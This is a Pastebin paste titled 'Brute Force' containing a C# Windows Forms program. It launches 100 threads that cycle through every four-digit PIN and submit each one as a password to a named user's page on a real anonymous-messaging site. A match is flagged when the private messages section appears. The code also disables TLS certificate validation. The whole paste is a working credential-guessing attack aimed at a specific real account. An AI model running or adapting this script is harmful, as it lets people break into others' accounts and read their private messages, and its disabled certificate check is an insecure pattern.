Advertisement
jlalt

Brute Force

Mar 22nd, 2020
921
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 4.63 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using MetroFramework.Forms;
  11. using System.Net;
  12. using System.Threading;
  13.  
  14. namespace TeamMT_FirmFinder
  15. {
  16.     public partial class Form1 : MetroForm
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.             ServicePointManager.Expect100Continue = true;
  22.             ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
  23.  
  24.             ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
  25.  
  26.             this.FormClosing += delegate
  27.             {
  28.                 Environment.Exit(Environment.ExitCode);
  29.             };
  30.            
  31.         }
  32.         int firstdig = 0, seconddig = 0, thirddig = 0, fourthdig = 0;
  33.  
  34.         private void button1_Click(object sender, EventArgs e)
  35.         {
  36.             for (int i = 0; i < 100; i++)
  37.             {
  38.                 new Thread(() =>
  39.                 {
  40.                     TryPassword();
  41.                 }).Start();
  42.             }
  43.         }
  44.  
  45.         private string GetPassword()
  46.         {
  47.             string value = "0";
  48.             this.Invoke(new Action(() =>
  49.             {
  50.                 if(firstdig == 9 && seconddig == 9 && thirddig == 9 && fourthdig == 9)
  51.                 {
  52.                     value = "0";
  53.                 }
  54.                 else
  55.                 {
  56.                     if (fourthdig == 9)
  57.                     {
  58.                         if (thirddig == 9)
  59.                         {
  60.                             if (seconddig == 9)
  61.                             {
  62.                                 if (firstdig == 9)
  63.                                 {
  64.  
  65.                                 }
  66.                                 else
  67.                                 {
  68.                                     firstdig++;
  69.                                     seconddig = 0;
  70.                                     thirddig = 0;
  71.                                     fourthdig = 0;
  72.                                 }
  73.                             }
  74.                             else
  75.                             {
  76.                                 seconddig++;
  77.                                 thirddig = 0;
  78.                                 fourthdig = 0;
  79.                             }
  80.                         }
  81.                         else
  82.                         {
  83.                             thirddig++;
  84.                             fourthdig = 0;
  85.                         }
  86.                     }
  87.                     else
  88.                     {
  89.                         fourthdig++;
  90.                     }
  91.                     value = firstdig.ToString() + seconddig.ToString() + thirddig.ToString() + fourthdig.ToString();
  92.                     label1.Text = value;
  93.                 }
  94.             }));
  95.             return value;
  96.         }
  97.         private void TryPassword()
  98.         {
  99.             while (true)
  100.             {
  101.                 string pass = GetPassword();
  102.                 if (pass == "0")
  103.                 {
  104.                     break;
  105.                 }
  106.                 MyWebClient client = new MyWebClient();
  107.                 string upstr = "password=" + pass.ToString() + "&submit=%D9%86%D9%85%D8%A7%DB%8C%D8%B4++%D9%BE%DB%8C%D8%A7%D9%85+%D9%87%D8%A7%DB%8C+%D8%AF%D8%B1%DB%8C%D8%A7%D9%81%D8%AA%DB%8C";
  108.                 client.Headers.Set(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded");
  109.                 //551688925
  110.                 //559522566
  111.                 try
  112.                 {
  113.                     string res = client.UploadString("https://instagraph.ir/harfeto/user/559522566", upstr);
  114.                     if (res.Contains("messagesSection"))
  115.                     {
  116.                         MessageBox.Show("ITS: " + pass.ToString());
  117.                     }
  118.                     else
  119.                     {
  120.                         //MessageBox.Show("NO");
  121.                     }
  122.                 }
  123.                 catch
  124.                 {
  125.  
  126.                 }
  127.                
  128.             }
  129.  
  130.         }
  131.             class MyWebClient : WebClient
  132.         {
  133.             protected override WebRequest GetWebRequest(Uri address)
  134.             {
  135.                 HttpWebRequest request = base.GetWebRequest(address) as HttpWebRequest;
  136.                 request.Timeout = 50000;
  137.                 request.ReadWriteTimeout = 50000;
  138.                 request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
  139.                 return request;
  140.             }
  141.         }
  142.  
  143.     }
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement